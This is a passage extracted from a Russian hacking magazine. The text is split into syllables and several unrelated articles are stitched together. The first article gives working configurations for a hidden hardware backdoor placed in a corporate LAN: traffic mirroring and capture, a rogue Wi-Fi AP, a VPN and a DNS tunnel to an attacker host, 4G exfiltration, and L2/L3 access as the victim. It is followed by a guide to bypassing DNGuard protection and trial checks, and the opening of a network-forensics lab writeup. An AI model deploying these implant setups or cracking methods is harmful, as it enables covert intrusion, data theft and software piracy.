sudo tc filter add dev eth0 parent ffff: protocol all prio 2 u32 
match u32 0 0 flowid 1:1 action mirred egress mirror dev eth1 
sudo tc qdisc add dev eth1 ingress 
sudo tc filter add dev eth1 parent ffff: protocol all prio 2 u32 
match u32 0 0 flowid 1:1 action mirred egress mirror dev eth0 

sudo iptables -A INPUT -i eth0 -p icmp -j DROP # Не отзываться на 
входящие ICMP gw->victim

 tcp sudo iptables -A OUTPUT -o eth0 -p --tcp-flags SYN,ACK,RST,FIN 
RST -j DROP # Игнорировать ACK-пакеты и не слать на них RST, чтобы 
не рвать соединения victim

С такими нас трой ками устрой ство может вкли нить ся в легитим ное физичес- 
кое под клю чение, проз рачно зер калируя тра фик в обе сто роны и отправ ляя
в это же самое вре мя пакеты от име ни жер твы.

Не види мый режим зак репле ния через Ethernet

Это поз волит зло умыш ленни ку обой ти защиту Port Security и вооб ще стать
пол ностью невиди мым в сети.

Ïàññèâíûé ñíèôôèíã
Так как девайс может проз рачно пересы лать через себя тра фик, нет рудно
орга низо вать его авто мати чес кую запись:

/lib/systemd/system/tcpdump.service
[Unit]
Description=tcpdump

[Service]
ExecStart=/usr/sbin/tcpdump -i br0 -nn -w /media/sd/dump.pcap
Restart=always
RestartSec=60

[Install]
WantedBy=default.target

Ав томати чес кий запуск записи тра фика при заг рузке мож но реали зовать
через сер вис:

systemctl enable tcpdump.service 
systemctl start tcpdump.service 

Пос коль ку записы вает ся весь тра фик, дамп может быть весь ма вну шитель- 
ным. Поэто му сох ранять его луч ше в допол нитель ный раз дел на SD-кар те:

/etc/fstab
   /dev/mmcblk0p3 /media/sd ext3 defaults 0 0 

Äîñòóï ïî Wi-Fi
Так как рас смат рива емое нами устрой ство име ет встро енный Wi-Fi, его мож- 
но исполь зовать для орга низа ции уда лен ного дос тупа. Для это го сетевые
нас трой ки бес про вод ной сети ука зыва ются в сле дующем фай ле:

/etc/network/interfaces
auto wlan0 
iface wlan0 inet static 
address 11.0.0.1 
netmask 255.255.255.0 

Нас трой ки бес про вод ной сети для кли ентов — в фай ле

/etc/dnsmasq.conf
domain=packet_squirrel.local
interface=wlan0
dhcp-range=11.0.0.10,11.0.0.20,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1

И сама бес про вод ная сеть нас тра ивает ся так:

/etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=packet squirrel
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

wpa=3
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP

wpa_passphrase=s3cr3tP@ssw0rd

Ав тозапуск все го необ ходимо го для Wi-Fi:

systemctl unmask hostapd.service 
systemctl enable hostapd.service 
systemctl start hostapd.service 

Пос ле вклю чения аппа рат ной зак ладки ата кующий может получить дос туп
в сеть, прос то под клю чив шись к устрой ству по Wi-Fi.

VPN access
Ата кующий может сде лать так, что бы соз данная им аппа рат ная зак ладка
выходи ла на связь по VPN с некото рым опор ным сер вером:

cp vds_config.ovpn /etc/openvpn/client/vds.conf 
systemctl enable openvpn-client@vds 

Кон фигура цион ный файл при этом может быть сле дующим:

client 
proto tcp 
dev tap 

remote 1.2.3.4 1194 

user nobody 

<ca> 
</ca> 

<cert> 
</cert> 

<key> 
</key> 

route-noexec 
cipher AES-128-CBC 

keepalive 10 60 
comp-lzo 
persist-key 
persist-tun 

Ус трой ство будет пытать ся вый ти на связь с опор ным сер вером через
текущую или внеш нюю 4G-сеть (об этом рас ска жу чуть поз же).

Äîñòóï ÷åðåç DNS-òóííåëü
В ряде слу чаев из локаль ной сети нет пря мого дос тупа в интернет и спо соб,
опи сан ный выше, может не сра ботать. Одна ко очень час то резолв про- 
изволь ных внеш них DNS-зон раз решен. Поэто му VPN-канал может быть
реали зован с помощью обыч ных DNS-зап росов:

/lib/systemd/system/iodine.service
[Unit]
Description=iodine

[Service]
ExecStart=/usr/sbin/iodine -f -r -m 500 -P s3cr3t dns.attacker.tk
Restart=always
RestartSec=60

[Install]
WantedBy=default.target

Ав тозапуск DNS-тун неля обес печива ют сле дующие коман ды:

systemctl enable iodine.service 
systemctl start iodine.service 

Да же если из внут ренней сети нет пря мого выхода в интернет, но есть раз- 
решение про изволь ных DNS-имен, устрой ство пос тро ит VPN-тун нель
до опор ного сер вера, через который потен циаль ный зло умыш ленник получит
обратный дос туп в сеть.

Äîñòóï ïî 4G
Ус трой ство скон фигури рова но так, что бы зло умыш ленник мог получить дос- 
туп в интернет через точ ку зак репле ния, пос редс твом обыч ного TCP
или DNS-тун нелей. Но если же из локаль ной сети сов сем нет никако го выхода
в интернет, то может быть орга низо ван канал переда чи дан ных по незави- 
симо му 4G через под клю чаемый внеш ний USB-модем.

Внеш ний канал эксфиль тра ции аппа рат ной зак ладки

Ре али зовать это мож но бук валь но в пару-трой ку строк в кон фиге. Нуж но
добавить авто запуск DHCP для сетево го интерфей са 4G-модема. Сов ремен- 
ные HiLink-модемы опре деля ются как прос тое Ethernet-устрой ство, что мак- 
сималь но облегча ет нас трой ку:

/etc/network/interfaces
... 
allow-hotplug eth2 
auto eth2 
iface eth2 inet dhcp 
metric 1 

Бла года ря дирек тиве  мар шрут 4G-интерфей са будет при ори тет нее
мар шру та Ethernet-сети, и устрой ство не потеря ет выход в интернет
при наличии двух дефол тных мар шру тов.

metric 1

По дыто жим. В каж дом слу чае Ethernet-backdoor пыта ется вый ти на связь
через опор ный выделен ный сер вер и пре дос тавля ет зло умыш ленни ку уда- 
лен ный дос туп во внут реннюю сеть:

по VPN через текущую сеть;•
по VPN, исполь зуя DNS-эксфиль тра цию через текущую сеть;•
по VPN через внеш ний канал 4G;•
че рез Wi-Fi.•

Те перь устрой ство пол ностью нас тро ено и готово к работе в самых раз ных
ситу ациях.

ÇÀÊÐÅÏËÅÍÈÅ

Итак, зло умыш ленник находит оставлен ный без прис мотра компь ютер
и незамет но под клю чает к нему свое устрой ство.

Под клю чение «посере дине» аппа рат ной зак ладки меж ду ПК и ком -
мутато ром

Да, компь ютер на кар тинке выше реаль но не потеря ет дос тупа в сеть и даже
не уви дит про межу точ ного узла. Rock Pi ста нет проз рачно пересы лать тра фик
жер твы и парал лель но откро ет ата кующе му сетевой дос туп в как в сто рону
компь юте ра жер твы, так и в сто рону локаль ной сети.

Ап парат ную зак ладку мож но под клю чить где угод но — от обыч ного компь- 
юте ра или прин тера до сер верной. Все зависит от того, куда успел получить
дос туп потен циаль ный зло умыш ленник. Неболь шие раз меры поз воля ют
спря тать аппа рат ный бэк дор даже внут ри дру гого устрой ства.

Под клю чение «посере дине» аппа рат ной зак ладки меж ду IP-телефо ном
и ком мутато ром

Ап парат ную зак ладку мож но помес тить даже внут ри IP-телефо на, рас- 
положен ного в перего вор ке. Такие помеще ния час то быва ют сво бод ными
на корот кое вре мя, чем может вос поль зовать ся потен циаль ный наруши тель.

Кон фигура ция устрой ства поз воля ет исполь зовать девайс не толь ко
в модели «посере дине». Его мож но прос то вклю чить одним любым пор том
в сво бод ный Ethernet-порт для под держа ния уда лен ного дос тупа.

Под клю чение аппа рат ной зак ладки в сетевую розет ку

Да лее, исполь зуя все воз можные каналы дос тупа (VPN, DNS, Wi-Fi, 4G), ата- 
кующий может уда лен но зай ти на устрой ство и уже с него получить дос туп
в сеть.

Для раз вития даль нейших атак зло умыш ленни ку не нуж но каж дый раз раз- 
ворачи вать на устрой стве весь хакер ский софт. Зак ладка может быть лишь
шлю зом и прос то пересы лать пакеты от ата кующе го в сеть.

L3-äîñòóï
Те перь нас тала пора рас смот реть, как подоб ное устрой ство может быть нас- 
тро ено в режиме шлю за, на котором орга низо ван прос той L3-дос туп
в целевую сеть. Для это го пот ребу ются толь ко два ком понен та.

Пер вый — это тран зит пакетов. При вклю чении этой опции ядра сетевые
пакеты в соот ветс твии с мар шру тиза цией смо гут про ходить с одно го
интерфей са (VPN) на дру гой (Ethernet):

/etc/sysctl.conf
net.ipv4.ip_forward=1 

Вто рое — это SNAT, выпол няющий кор ректи ров ку IP-адре са отпра вите ля
для пакетов, меня ющих сетевой интерфейс. В дан ном слу чае иду щих с VPN
на Ethernet-пор ты:

 nat  br0 iptables -t -A POSTROUTING -o -j MASQUERADE 
iptables-save | sudo tee /etc/iptables.up.rules 

/etc/network/if-pre-up.d/iptables
#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules 

Это дает ата кующе му чрез вычай но прос той и удоб ный дос туп к сети,
в которой помеще на зак ладка. Все, что тре бует ся на сто роне ата кующе го, —
прос то добавить мар шрут через Packet Squirrel.

route add -net 10.0.0.0/8 gw packet_squirrel 
ping 10.10.10.10 

По луче ние сетево го дос тупа в локаль ную сеть, где помеще на аппа рат -
ная зак ладка

Те лефон ата кующе го, никак не свя зан ный нап рямую с ноут буком жер твы,
под клю чен к еди ной VPN-сети с Packet Squirrel. На телефо не зада ется мар- 
шрут с Packet Squirrel в качес тве шлю за, пос ле чего ата кующий получа ет пря- 
мой сетевой дос туп во внут реннюю сеть.

Не сом ненно, для ата кующе го это чрез вычай но удоб но, и этот метод может
при менять ся как для скры того получе ния дос тупа, так и для раз вития даль- 
нейших атак. Но если говорить об ата ках, то это лишь L3-дос туп (сетевой уро- 
вень OSI), не дающий всех воз можнос тей в пла не атак, пос коль ку зло умыш- 
ленник не находит ся во внут ренней сети, а исполь зует Packet Squirrel в качес- 
тве шлю за. Что бы ока зать ся непос редс твен но в сетевом сег менте и иметь
воз можность реали зовать пол ный арсе нал атак, при сущих Ethernet-сетям,
от ARP до NetBIOS spoong, ата кующе му пот ребу ется получить L2-дос туп
(каналь ный уро вень OSI).

L2-äîñòóï
Что бы получить пол ноцен ный L2-дос туп в сетевой сег мент, в который
помеще на зак ладка, ата кующе му нуж но соз дать еще один допол нитель ный
тун нель. Самый прос той спо соб это сде лать — вос поль зовать ся SSH:

/etc/ssh/sshd_config
PermitRootLogin yes 
PermitTunnel ethernet 

Так как на устрой стве Ethernet-интерфей сы уже под клю чены в сетевом мос те
( ), то ата кующе му оста ется лишь добавить новый L2-интерфейс от SSH
в этот мост:
br0

 sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any 
packet_squirrel> brctl addif br0 tap1 
packet_squirrel> ifconfig tap1 up 

Се тевой мост будет копиро вать каж дый сетевой пакет с Ethernet-интерфей- 
сов в этот вир туаль ный интерфейс. На уда лен ной сто роне ата кующе го тоже
появит ся новый L2-интерфейс, на который будут при ходить все дос тупные
Packet Squirrel пакеты и который будет для ата кующе го L2-пор талом во внут- 
ренний сетевой сег мент:

attacker> sudo ifconfig tap1 up 
attacker> sudo dhclient tap1 

Те перь, ока зав шись непос редс твен но в сетевом сег менте с Packet Squirrel,
зло умыш ленник может получить внут ренний IP-адрес по DHCP. А может
для боль шей незамет ности исполь зовать IP-адрес жер твы:

packet_squirrel> sudo ifconfig br0 0 
/24 attacker> sudo ifconfig tap1 $victim_ip

Ми ниатюр ное устрой ство, спря тан ное где-то в нед рах кор поратив ной сети,
за одним из сис темни ков, прин теров в коридо ре, IP-телефо нов в перего вор- 
ке или даже под тол щей про водов сер верной, спо соб но скрыт но от име ни
жер твы (с ее MAC- и IP-адре са) вза имо дей ство вать с узла ми внут ренней
сети. Зло умыш ленник при этом может исполь зовать внут ренний IP-адрес
сетево го сег мента локаль ной сети, в то вре мя как сам будет находить ся
где-то очень далеко.

Во обще, подоб ное устрой ство мож но исполь зовать и для уда лен ных внут- 
ренних пен тестов, ког да заказ чик прос то под клю чает подоб ную коробоч ку
в нуж ный сетевой сег мент. И боль ше никаких дей ствий не тре бует ся —
не при дет ся про сить заказ чика сог ласовы вать допус ки, исполни телям
не понадо бит ся дол го добирать ся до мес та или под клю чать ся через неудоб- 
ные VPN.

ÊÀÊ ÇÀÙÈÒÈÒÜÑß

Ис поль зование Port Security в чис том виде не поз волит зло умыш ленни ку
получить дос туп к сво бод ной сетевой розет ке, ведь он не будет знать нуж ный
MAC-адрес. Если задей ство вать еще и 802.1X, то у зло умыш ленни ка не будет
воз можнос ти и вкли нить ся посере дине. Ведь в момент под клю чения Packet
Squirrel пот ребу ется хоть и на корот кое вре мя, но разъ еди нить сеть, а тог да
пот ребу ется пов торно аутен тифици ровать ся.

Так же мерой защиты может быть физичес кий кон троль над Ethernet-пор- 
тами и устрой ства ми в локаль ной сети пред при ятия.



РЕВЕРСИМ ПРИЛОЖЕНИЕ,
ЗАЩИЩЕННОЕ DNGUARD

МВК

ВЗЛОМ

Фан тазия раз работ чиков, жела ющих
защитить свою прог рамму, порой не зна ет
гра ниц. Час тень ко им мало одно го
навешен ного на соф тину про тек тора, и они,
как монаш ка из извес тно го анек дота,
натяги вают их нес коль ко штук пос ледова- 
тель но. Порой тем же самым гре шат и сами
раз работ чики средств защиты. Слу чай
подоб ного сим биоза IL-обфуска тора
с VMProtect мы и рас смот рим в сегод- 
няшней статье.

.NET-обфуска тор  сущес тву ет доволь но дол гое вре мя,
за которое он успел обза вес тись изрядным количес твом фич (анти отладка
и анти дамп, тоталь ное шиф рование всей информа ции в модуле и весь ма
успешное про тиво дей ствие ста тичес кому и динами чес кому ана лизу). Нес- 
мотря на широкую извес тность и неп лохую изу чен ность (в свое вре мя
CodeCracker запилил мно жес тво рас паков щиков под раз ные вер сии DNGuard
и сопутс тву ющих фрей мвор ков), пос ледние нес коль ко лет средс тва ана лиза
и рас паков ки для акту аль ных вер сий это го обфуска тора нап рочь отсутс тву ют.
Вплоть до того, что популяр ные инс тру мен ты (и даже Detect It Easy) до сих пор
не научи лись их даже детек тировать. Поэто му, наде юсь, сегод няшняя статья
поможет читате лю разоб рать ся, как рас познать эту заразу и бороть ся с ней
под ручны ми средс тва ми.

DNGuard HVM

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Итак, пред положим, что в твои заг ребущие руки попала сбор ка, защищен ная
DNGuard. Есть два вари анта. Пер вый: нам повез ло, и это одна из ста рых изу- 
чен ных вер сий, тог да все ясно и мож но сме ло поль зовать ся одним из дам- 
перов DNGuard_HVM_Unpacker от CodeCracker. Воз можно, я ког да-нибудь
и рас ска жу об осо бен ностях и даже прин ципах работы этих ути лит. Одна ко
DNGuard совер шенс тву ется стре митель но, а про ект, судя по все му, дав но
заб рошен: пос ледняя вер сия под держи ваемо го фрей мвор ка была 4.2,
а физичес кая при вяз ка к кон крет ным фай лам биб лиотек нас толь ко силь на,
что дела ет исполь зование дан ных нарабо ток малопо лез ным в деоб фуска ции
новых вер сий.

По это му сра зу перехо дим к более грус тно му вари анту. Как я уже писал
выше, хоть акту аль ные вер сии и не детек тятся, одна ко силь но и не скры вают- 
ся. В рабочем катало ге прог раммы сра зу бро сает ся в гла за биб лиоте ка

 (или со схо жим наз вани ем), с навешен ным на ней VMProtect
на минимал ках.
runtime.dll

Внут ри биб лиоте ки обна ружи вают ся две экспор тиру емые фун кции:
 и  (или ).VMRuntime GetUserString ResolveString

Еще одна харак терная чер та — VMProtect’овская сек ция , из-за которой
этот обфуска тор, нас коль ко я понимаю, и получил такое наз вание.

hvm0

Впро чем, наличие этой биб лиоте ки в катало ге в явном виде вов се необя- 
затель но, самые пос ледние вер сии научи лись дер жать ее в зашиф рован ном
виде в теле основной прог раммы, рожая ее при заг рузке в сис темные вре- 
мен ные катало ги типа  или . Cама прог рамма, защищен ная
этим обфуска тором, тоже выг лядит дос таточ но харак терным обра зом
при заг рузке в отладчик вро де dnSpy.

Temp ProgramData

Как вид но, для стар тап-кода прог раммы харак терно наличие клас са
с метода ми , ,  и так далее
и импортом упо мяну тых выше фун кций из биб лиоте ки . Так же
как и во всех серь езных обфуска торах, о которых я писал в 

, наз вания осталь ных клас сов, методов, строк и ресур сов жес тко пошиф- 
рованы, а тела методов пус ты или содер жат вызов исклю чения «Error,
DNGuard Runtime library not loaded!» (при чем даже эта стро ка может быть
зашиф рована).

CheckRuntime CheckString GetUserString
Runtime.dll

пре дыду щих стать- 
ях

Собс твен но, если поп робовать запус тить такое при ложе ние из отладчи ка,
мак симум, что мы смо жем уви деть, — это ини циали зация стар тап-кода
DNGuard до натив ного вызова VMRuntime, пос ле чего тот перех ватыва ет
на себя JIT-ком пилятор и мы про щаем ся с отладчи ком, сло вив подоб ное
исклю чение.

По пыт ка при атта чить ся к запущен ному про цес су тоже не дает полез ного
резуль тата, так же как и дамп его все ми извес тны ми дам перами. Поэто му
зак рыва ем dnSpy и начина ем вспо минать мат часть, в том чис ле информа цию,
изло жен ную в моей статье «

».
Ре вер синг .NET. Как искать JIT-ком пилятор в при- 

ложе ниях
Для тех, кто не читал статью, напом ню ее суть в двух сло вах. Как извес тно,

любая .NET-сбор ка устро ена сле дующим обра зом: кросс-плат формен ный IL-
код хра нит ся в спе циаль ных метадан ных, из которых под гру жает ся по мере
исполне ния каж дого метода и ком пилиру ется в натив ный код спе циаль ной
фун кци ей. Ука затель на нее воз вра щает фун кция  биб лиоте ки 

, одна ко фрей мворк любез но пре дос тавля ет поль зовате лю самому уста- 
нав ливать адрес на ком пилятор, чем без застен чиво поль зуют ся соз датели
все воз можных обфуска торов, под меняя ее сво ими про цеду рами рас- 
шифров ки IL-кода.

GetGit clrjit.
dll

Та ким же обра зом мож но менять на свои фун кции заг рузки строк, ресур- 
сов и так далее. В час тнос ти, фун кцию 

, которая воз вра щает ука затель
на зап рашива емый стро ковый литерал. По счастью, ни один даже самый
прод винутый обфуска тор не может пол ностью под менить собой .NET-фрей- 
мворк с JIT-ком пиляци ей, хотя бы из сооб ражений сис темной сов мести мос- 
ти. Поэто му, нес мотря на все под мены, управле ние все рав но в ито ге
переда ется на ори гиналь ные обра бот чики. Более того, биб лиоте ка

 пре дос тавля ет мас су воз можнос тей для работы с низ- 
коуров невыми объ екта ми (фай лы, даты, стро ки, сло вари и про чее), через
которые мож но отсле живать логику работы прог раммы уже из откомпи лиро- 
ван ного исполня емо го натив ного кода.

Module::ResolveStringRef(
unsigned long,class BaseDomain *,bool)

mscorlib.ni.dll

Все это избавля ет нас от необ ходимос ти про шибать головой железо- 
бетон ную сте ну девир туали зации VMProtect, ана лизи руя «изнутри» в нашем
любимом x64dbg уже рас шифро ван ные биб лиоте кой  код
и стро ки. Поп робу ем рас смот реть исполь зование опи сан ного метода на при- 
мерах.

runtime.dll

До пус тим, нам для начала инте рес но опре делить, какие стро ковые кон- 
стан ты были заг ружены и исполь зованы на опре делен ном учас тке работы
прог раммы. Заг ружа ем прог рамму в отладчик x32dbg и идем на вклад ку
«Отла доч ные сим волы». В спис ке заг ружен ных биб лиотек спра ва находим

, жмем на пра вую кноп ку мыши и заг ружа ем отла доч ные сим волы
для это го модуля.
clr.dll

В спис ке отла доч ных сим волов находим сим вол 

 и ста вим на него точ ку оста нова. Запус- 
каем прог рамму и тор мозим ся на этой точ ке. Пока ничего инте рес ного, она
выз вана из изга жен ного VMProtect’oвской вир туали заци ей кода 

. Запус каем выпол нение до воз вра та из биб лиоте ки. На выходе уже инте- 
рес нее — в  появи лась ссыл ка на ука затель на рас шифро ван ную стро ку.

public: struct 
OBJECTHANDLE__ * __thiscall Module::ResolveStringRef(unsigned 
long,class BaseDomain *,bool)

runtime.
dll

EAX

Уби раем точ ку оста нова на вхо де  и перено сим ее
на выход, добавив печать воз вра щаемой стро ки.

ResolveStringRef

За пус каем прог рамму и — бин го! — име ем в жур нале отладчи ка пол ный спи- 
сок заг ружен ных и рас шифро ван ных в про цес се работы при ложе ния стро- 
ковых кон стант. Теперь нам надо най ти срав нение, пос ле которо го выпол- 
нение прог раммы идет по нуж ной нам вет ке. Для это го точ но так же заг ружа- 
ем отла доч ные сим волы уже для биб лиоте ки . Мы обна- 
ружи ваем уди витель ное мно жес тво натив ных методов для низ коуров невой
работы со стро ками. Нап ример, самые полез ные из них.

mscorlib.ni.dll

Срав нить две стро ки:

mscorlib.ni.dll.System.String.Compare(System.String, System.String, 
Boolean) 

Cкле ить две стро ки:

mscorlib.ni.dll.System.String.Concat(System.String, System.String) 

Заг рузить стро ку из сим воль ного мас сива:

mscorlib.ni.dll.System.String.CtorCharArray(Char[]) 

Заг рузить стро ку по ука зате лю на сим воль ный мас сив:

mscorlib.ni.dll.System.String.CtorCharPtr(Char*) 

Срав нить две стро ки:

mscorlib.ni.dll.System.String.Equals(System.String, System.String) 

Прис воить стро ку:

mscorlib.ni.dll.System.String.Intern(System.String) 

Вер нуть подс тро ку:

mscorlib.ni.dll.System.String.Substring(Int32, Int32) 

Заг рузить сим воль ный мас сив из стро ки:

mscorlib.ni.dll.System.String.ToCharArray() 

Пре обра зовать стро ку в ниж ний регистр:

mscorlib.ni.dll.System.String.ToLower() 

Ста вя условные точ ки оста нова на эти фун кции с про межу точ ными печатя ми
парамет ров, мы получа ем в жур нале совер шенно проз рачный лог работы
прог раммы со стро ками, в котором без тру да находим иско мые про вер ки.
Таким же методом мож но вос поль зовать ся, нап ример, что бы оту чить прог- 
рамму от три ала, ведь низ коуров невые опе рации с клас сом  сидят
в этом же модуле.

DateTime

Срав нить вре мен ные про межут ки:

mscorlib.ni.dll.System.DateTimeOffset.CompareTo(System.
DateTimeOffset) 

Сло жить вре мен ные про межут ки:

mscorlib.ni.dll.System.DateTimeOffset.op_Addition(System.
DateTimeOffset, System.TimeSpan) 

Вы честь из вре мени:

mscorlib.ni.dll.System.DateTime.Subtract(System.TimeSpan) 

До бавить ко вре мени:

mscorlib.ni.dll.System.DateTime.op_Addition(System.DateTime, System.
TimeSpan) 

Поз же?

mscorlib.ni.dll.System.DateTime.op_GreaterThan(System.DateTime, 
System.DateTime)

Рань ше?

mscorlib.ni.dll.System.DateTime.op_LessThan(System.DateTime, System.
DateTime) 

Од новре мен но?

mscorlib.ni.dll.System.DateTime.op_Equality(System.DateTime, System.
DateTime) 

От сле див нуж ное срав нение и подоб рав для него под ходящее усло вие, мож- 
но даже не заботить ся о том, как имен но и куда ском пилиро вал ся IL код, —
при работе в отладчи ке управле ние все рав но при дет в это мес то и оста- 
новит ся в нуж ный момент.

Итак, мы разоб рались, какую про вер ку и на что нуж но менять, но что
делать даль ше? Мы же не можем каж дый раз запус кать прог рамму в отладчи- 
ке, что бы руками под ска зывать ей, как даль ше работать. По сути, мы не зна ем
даже наз вания клас са и метода, в котором про исхо дит про вер ка. Да даже
если бы и зна ли, тол ку все рав но мало — код по-взрос лому зашиф рован,
а дек риптор вир туали зиро ван самим VMProtect’ом, пус кай на минимал ках.

В подоб ных слу чаях, как я уже писал, мож но сурово идти до кон ца,
как делал в свое вре мя CodeCracer, и, пол ностью или час тично про бив шись
сквозь вир туали зиро ван ный код, написать свой деоб фуска тор. Или же пой ти
по более лег кому пути, соз дав лоадер, пат чащий IL-код в момент, ког да он
уже рас шифро ван и пода ется на вход JIT-ком пилято ра. Суть этих двух спо- 
собов я объ яснял в , поэто му не буду пов торять ся, а в зак лючение
прос то при веду нес коль ко советов и пред ложений, как реали зовать эти идеи.

статье

В прин ципе, мож но взять за осно ву вос ста нов ленный код дам пера
от DNGuard_HVM_Unpacker, но мы не будем это го делать, потому что этот
дам пер силь но при вязан к изрядно уста рев шим вер сиям фрей мвор ка, о чем
я уже говорил. Поэто му чита ем  Дани еля Пис телли, в которой мат часть
опи сана гораз до тол ковее, чем у меня. И берем за осно ву исполь зуемые
в ней при меры готово го кода.

статью

Не буду их дуб лировать, что бы не перег ружать собс твен ный текст, прос то
обри сую прин цип в двух сло вах. Есть заг рузчик обфусци рован ной прог раммы
на C# (rbloader), который дела ет инъ екцию кода, содер жащего ся в натив ной
биб лиоте ке. К статье при лага ются при меры про ектов инъ екто ров, которые
демонс три руют реаль ные име на ком пилиру емых клас сов и методов исполня- 
емой прог раммы, и даже выпол няет ся дизас сем бли рова ние их рас шифро- 
ван ного IL-кода.

Ко неч но, эта статья тоже уста рела, и при веден ный там код тре бует
допили вания под сов ремен ные фрей мвор ки. К при меру, исполь зуемая
для получе ния реаль ного адре са JIT-ком пилято ра фун кция  сей час
содер жится не в упо мина емой там биб лиоте ке , а в биб лиоте ке

. Но это мелочи, впол не пре одо лимые, если не замахи вать ся сра- 
зу на соз дание пол ного деком пилято ра или дам пера, а начать с прос тых,
но полез ных вещей.

getJit
mscorjit.dll

clrjit.dll

Нап ример, мож но решить проб лему при вяз ки исполня емо го в дан ный
момент откомпи лиро ван ного натив ного кода к кон крет ному клас су и методу.
Ска жем, в качес тве иден тифика ции метода мож но исполь зовать токен 
(пер вое сло во струк туры , подава емой на вход JIT-
ком пилято ру, — это ука затель на него ). Не знаю,
задоку мен тирова но это или нет, но  находит ся
непос редс твен но перед ском пилиро ван ным в натив методом.

ftn
CORINFO_METHOD_INFO

CORINFO_METHOD_HANDLE
CORINFO_METHOD_HANDLE

Пос тавив условную точ ку оста нова на JIT-ком пилятор c логиро вани ем, мож но
через ftn при вязать рас шифро ван ный IL-код к откомпи лиро ван ному натив- 
ному коду метода, одна ко его имя и имя его клас са на момент ком пиляции
из отладчи ка получить зат рудни тель но. Хал турный спо соб, пред ложен ный
мной в пре дыду щей статье, здесь не работа ет.

Вот тут нам и при годит ся заг рузчик с инъ екто ром Дани еля Пис телли.
Из кода, инъ екти руемо го в , получить имя ком пилиру емо го
метода и его клас са не прос то, а очень прос то. Более того, пря мо в тело
обра бот чика мож но встро ить авто патч све жерас шифро ван ного IL-кода
метода.

CompileMethod

Хо чу добавить напос ледок, что все опи сан ное выше работа ет не толь ко
для DNGuard, но и для любого дру гого злов редно го инс тру мен та, исполь- 
зующе го подоб ные прин ципы обфуска ции. Наде юсь, мне пред ста вит ся воз- 
можность про демонс три ровать это в одной из сле дующих ста тей.

http://www.dnguard.net/
https://xakep.ru/author/mikhail_kondakov/
https://xakep.ru/2021/03/04/dotnet-reversing/
https://xakep.ru/2021/03/04/dotnet-reversing/
https://ntcore.com/files/netint_injection.htm
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ВЗЛОМ

Иног да пос ле хакер ской ата ки иссле дова- 
телям оста ется нес коль ко ском про мети- 
рован ных компь юте ров и дамп сетево го
тра фика, иссле дуя который мож но
попытать ся вос ста новить хро ноло гию
событий. Имен но эту ситу ацию эму лиру ет
лабора тор ная работа 
с ресур са , решение
которой мы сегод ня под робно раз берем.
Мы научим ся ана лизи ровать сетевой тра- 
фик, извле кать арте фак ты и вос ста новим
кар тину взло ма.

BSidesJeddah-Part1
CyberDefenders

По сце нарию хакер ская груп пиров ка исполь зовала целевой фишинг
и получи ла дос туп к информа цион ному ресур су орга низа ции. Наша задача —
рас сле довать инци дент и вос ста новить его сце нарий.

По резуль татам необ ходимо отве тить на воп росы, но я покажу лишь сам
про цесс решения. Ты смо жешь пов торить его самос тоятель но, что бы луч ше
разоб рать ся и зак репить матери ал.

Для начала заг рузим файл  с арте фак тами и прис тупим к их иссле- 
дова нию. В архи ве сох ранен сетевой тра фик ском про мети рован ного хос та
и пра вила Suricata.

ар хива

ÈÑÏÎËÜÇÓÅÌÛÅ ÓÒÈËÈÒÛ
1.  — ана лиза тор сетевых про токо лов.Wireshark
2.  — ана лиза тор сетево го тра фика.Brim
3.  — ути лита для ана лиза OLE-фай лов.Oleid
4.  — ути лита для ана лиза шелл-кода, пос тро енная на осно ве биб- 

лиоте ки для эму ляции libemu.
Scdbg

5.  — инте рак тивный дизас сем блер, исполь зуемый для реверс-инжи- 
нирин га.
IDA Pro

ÀÍÀËÈÇ ÑÅÒÅÂÎÃÎ ÒÐÀÔÈÊÀ
Прис тупим к ана лизу сетево го тра фика. Иссле довать дамп мы будем в прог- 
рамме Wireshark. Заг рузим файл из архи ва, для это го перей дем на вклад ку
«Файл → Открыть».

Ана лизи руя пакеты сетево го дам па, мож но заметить, что, начиная
с пакета 56, идут мно жес твен ные TCP-обра щения к раз личным пор там с IP-
адре са 192.168.112.128.

Мно жес твен ные сетевые соеди нения

Зло умыш ленник с IP-адре са 192.168.112.128 ска ниру ет пор ты сетево го
ресур са 192.168.112.139, что бы най ти откры тые. Рас смот рим этот про цесс
более деталь но.

Про цесс TCP-ска ниро вания

На рисун ке выше пред став лено трех сто рон нее TCP-соеди нение меж ду
сетевы ми адре сами 192.168.112.128 и 192.168.112.139 по пор ту 25.
Как работа ет TCP-рукопо жатие, опи сано в базе зна ний , опи сание
фла гов TCP-пакетов мож но най ти на сай те .

Storm Wall
Geeksforgeeks

По иск откры того пор та при TCP-ска ниро вании про исхо дит сле дующим
обра зом. Источник 192.168.112.128 отпра вил SYN-пакет получа- 
телю 192.168.112.139. Получа тель отве тил TCP-фла гами SYN и ACK (соеди- 
нение уста нов лено). Далее источник отправ ляет ACK-пакет и сле дом завер- 
шает соеди нение фла гом RST. Это сви детель ству ет о том, что порт 25 ресур- 
са 192.168.112.139 открыт. В слу чае зак рытого пор та пос ле SYN-пакета
получа тель отправ ляет RST-, ACK-фла ги пакета TCP.

Рас смот рим TCP-пакет с фла гами SYN и ACK. Для это го откро ем его, наж- 
мем на него дваж ды, а затем рас кро ем вклад ку Transmision Control Protocol
и вклад ку Flags.

Фла ги SYN и ACK пакета TCP

Мы выяс нили, что при откры том пор те источник ска ниро вания отправ ляет
пакет с фла гами SYN и ACK. Най дем эти пакеты и выяс ним количес тво откры- 
тых пор тов на ата куемой машине, для это го отфиль тру ем сетевой тра фик.

В поле «Дис плей ный филь тр» ути литы Wireshark вво дим сле дующие дан-
ные:

tcp.flags == 0x12 

От филь тро ван ные пакеты сетево го дам па

Про ана лизи ровав дамп сетево го тра фика, мы выяс нили сле дующее.
1 октября 2021 года в 12:31 зло умыш ленник с IP-адре- 
